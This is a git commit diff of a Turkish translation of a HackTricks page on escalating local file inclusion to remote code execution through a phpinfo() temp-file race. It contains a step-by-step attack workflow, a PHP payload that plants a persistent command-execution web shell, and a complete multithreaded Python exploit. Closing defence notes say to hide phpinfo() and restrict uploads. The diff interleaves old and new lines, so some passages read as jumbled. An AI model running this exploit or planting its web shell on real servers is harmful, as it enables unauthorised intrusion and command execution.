Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']

This commit is contained in:
Translator 2025-09-30 00:51:17 +00:00
parent 73ade3bffd
commit f32f67c54b

View File

@ -1,55 +1,156 @@
# LFI to RCE via PHPInfo
{{#include ../../banners/hacktricks-training.md}}
Bu güvenlik açığını istismar etmek için şunlara ihtiyacınız var: **Bir LFI açığı, phpinfo()'un görüntülendiği bir sayfa, "file_uploads = on" ve sunucunun "/tmp" dizinine yazabilmesi.**
Bu tekniği istismar etmek için aşağıdakilerin tümüne ihtiyacınız var:
- phpinfo() çıktısını yazdıran erişilebilir bir sayfa.
- Kontrolünüzde bir Local File Inclusion (LFI) primitive'i (ör. kullanıcı girdisinde include/require).
- PHP dosya yüklemelerinin etkinleştirilmiş olması (file_uploads = On). Herhangi bir PHP scripti RFC1867 multipart yüklemelerini kabul eder ve her yüklenen parçaya geçici bir dosya oluşturur.
- PHP worker'ın yapılandırılmış upload_tmp_dir'ye (veya varsayılan sistem geçici dizinine) yazabilmesi ve LFI'nizin bu yolu include edebilmesi gerekir.
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
Klasik write-up ve orijinal PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
**Eğitim HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
İstismarı düzeltmeniz gerekiyor ( **=>**'yi **=>** ile değiştirin). Bunu yapmak için şunları yapabilirsiniz:
Orijinal PoC ile ilgili notlar
- phpinfo() çıktısı HTML olarak kodlandığı için "=>" oku genellikle "=>" şeklinde görünür. Eski scriptleri yeniden kullanıyorsanız, _FILES[tmp_name] değerini ayrıştırırken her iki kodlamayı da aradıklarından emin olun.
- Yükü (payload, PHP kodunuz), REQ1 (padding dahil phpinfo() endpoint'ine yapılan istek) ve LFIREQ (LFI sink'inize yapılan istek) uyarlamanız gerekir. Bazı hedefler null-byte (%00) terminatöre ihtiyaç duymaz ve modern PHP sürümleri bunu dikkate almaz. LFIREQ'i hedefteki vulnerable sink'e göre ayarlayın.
HTML-encoded oku eşleştirmek için örnek sed (sadece gerçekten eski Python2 PoC'yu kullanıyorsanız):
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
```
Başlangıçta **payload**'ı değiştirmelisiniz (örneğin bir php-rev-shell için), **REQ1** (bu phpinfo sayfasına işaret etmeli ve padding içermelidir, yani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), ve **LFIREQ** (bu LFI zafiyetine işaret etmelidir, yani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Null karakteri sömürürken çift "%" olduğuna dikkat edin)
## Teori
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
- When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES['<field>']['tmp_name']. The file is automatically removed at the end of the request unless moved/renamed.
- Hile, geçici dosya adını öğrenip PHP silmeden önce LFI ile onu include etmektir. phpinfo() $_FILES'i, tmp_name dahil, yazdırır.
- İstek header'larını/parametrelerini şişirerek (padding) phpinfo() çıktısının isteğin bitmesinden önceki erken parçalarını client'a flush ettirebilirsiniz; böylece tmp_name'i temp dosya hâlâ varken okuyup hemen o path ile LFI'yi tetikleyebilirsiniz.
### Teori
In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
Eğer PHP'de yüklemelere izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işleyene kadar geçici bir dizinde saklanır, ardından bu geçici dosya silinir.
## Saldırı iş akışı (adım adım)
Sonra, web sunucusunda bir LFI zafiyeti bulduysanız, oluşturulan geçici dosyanın adını tahmin etmeye çalışabilir ve dosya silinmeden önce geçici dosyaya erişerek bir RCE sömürü yapabilirsiniz.
1) Yarışı kaybetmemek için hızlıca persist eden bir shell sağlayan küçük bir PHP payload hazırlayın (bir dosya yazmak genelde reverse shell beklemekten daha hızlıdır):
```
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
```
2) Payload içeren bir temp dosya oluşturması için phpinfo() sayfasına doğrudan büyük bir multipart POST gönderin. Erken çıktıyı teşvik etmek için çeşitli header/cookie/param değerlerini ~510KB dolgu ile şişirin. Form alanı adının $_FILES içinde ayrıştıracağınız isimle eşleştiğinden emin olun.
**Windows**'ta dosyalar genellikle **C:\Windows\temp\php** dizininde saklanır.
3) phpinfo() yanıtı hâlâ stream ediliyorken, kısmi gövdeyi ayrıştırıp $_FILES['<field>']['tmp_name'] (HTML-encoded) değerini çıkarın. Tam mutlak yola (ör. /tmp/php3Fz9aB) ulaştığınız anda LFI'nizi tetikleyip o yolu include edin. Eğer include() geçici dosyayı silinmeden önce çalıştırırsa, payload'ınız tetiklenir ve /tmp/.p.php dosyasını bırakır.
**Linux**'ta dosyanın adı genellikle **rastgele** olup **/tmp** dizininde bulunur. Ad rastgele olduğu için, **geçici dosyanın adını bir yerden çıkarmak** ve silinmeden önce erişmek gereklidir. Bu, "**phpconfig()**" fonksiyonunun içindeki **$\_FILES** değişkeninin değerini okuyarak yapılabilir.
4) Bırakılan dosyayı kullanın: GET /vuln.php?include=/tmp/.p.php&x=id (veya LFI'nizin dahil etmeye izin verdiği başka bir yol) ile komutları güvenilir şekilde çalıştırın.
**phpinfo()**
> Tips
> - Yarışı kazanma şansınızı artırmak için birden fazla eşzamanlı worker kullanın.
> - Genellikle işe yarayan dolgu yerleri: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Hedefe göre ayarlayın.
> - Eğer the vulnerable sink bir uzantı ekliyorsa (ör. .php), null byte gerekmez; include() geçici dosya uzantısına bakmaksızın PHP'yi çalıştırır.
**PHP**, **4096B**'lik bir tampon kullanır ve tampon **dolu** olduğunda, **istemciye gönderilir**. Ardından istemci, **birçok büyük istek** (büyük başlıklar kullanarak) **yükleyerek bir php** ters **shell** yükleyebilir, **phpinfo()'un ilk kısmının** (geçici dosyanın adının bulunduğu yer) **geri dönmesini bekleyebilir** ve php sunucusu dosyayı silmeden önce **geçici dosyaya erişmeye** çalışabilir, böylece bir LFI zafiyetini sömürebilir.
## Minimal Python 3 PoC (socket-based)
**İsimleri brute force denemek için Python scripti (uzunluk = 6)**
Aşağıdaki snippet kritik bölümlere odaklanır ve legacy Python2 script'ine göre uyarlaması daha kolaydır. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink) ve PAYLOAD'ı özelleştirin.
```python
import itertools
import requests
import sys
#!/usr/bin/env python3
import re, html, socket, threading
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
print('[x] Something went wrong, please try again')
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
```
## Sorun giderme
- tmp_name'i hiç görmüyorsanız: phpinfo()'ye gerçekten multipart/form-data ile POST gönderdiğinizden emin olun. phpinfo() sadece bir upload alanı mevcut olduğunda $_FILES'i yazdırır.
- Çıktı erken flush olmuyor: Padding'i artırın, daha fazla büyük başlık ekleyin veya aynı anda birden fazla istek gönderin. Bazı SAPI'ler/buffer'lar daha büyük eşiklere kadar flush etmeyebilir; buna göre ayarlayın.
- LFI yolu open_basedir veya chroot tarafından engellendi: LFI'yi izin verilen bir yola yönlendirmelisiniz veya farklı bir LFI2RCE vektörüne geçin.
- Geçici dizin /tmp değil: phpinfo() tam mutlak tmp_name yolunu yazdırır; LFI'de tam olarak o yolu kullanın.
## Savunma notları
- Üretimde phpinfo()'u asla açığa çıkarmayın. Gerekirse IP/kimlik doğrulama ile sınırlandırın ve kullanımdan sonra kaldırın.
- Gerekli değilse file_uploads'u devre dışı tutun. Aksi halde upload_tmp_dir'i uygulamada include() ile erişilemeyecek bir yola kısıtlayın ve herhangi bir include/require yolunda sıkı doğrulama uygulayın.
- Herhangi bir LFI'yi kritik olarak değerlendirin; phpinfo() olmasa bile başka LFI→RCE yolları vardır.
## İlgili HackTricks teknikleri
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
## Referanslar
- LFI With PHPInfo() Assistance whitepaper (2011) Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
{{#include ../../banners/hacktricks-training.md}}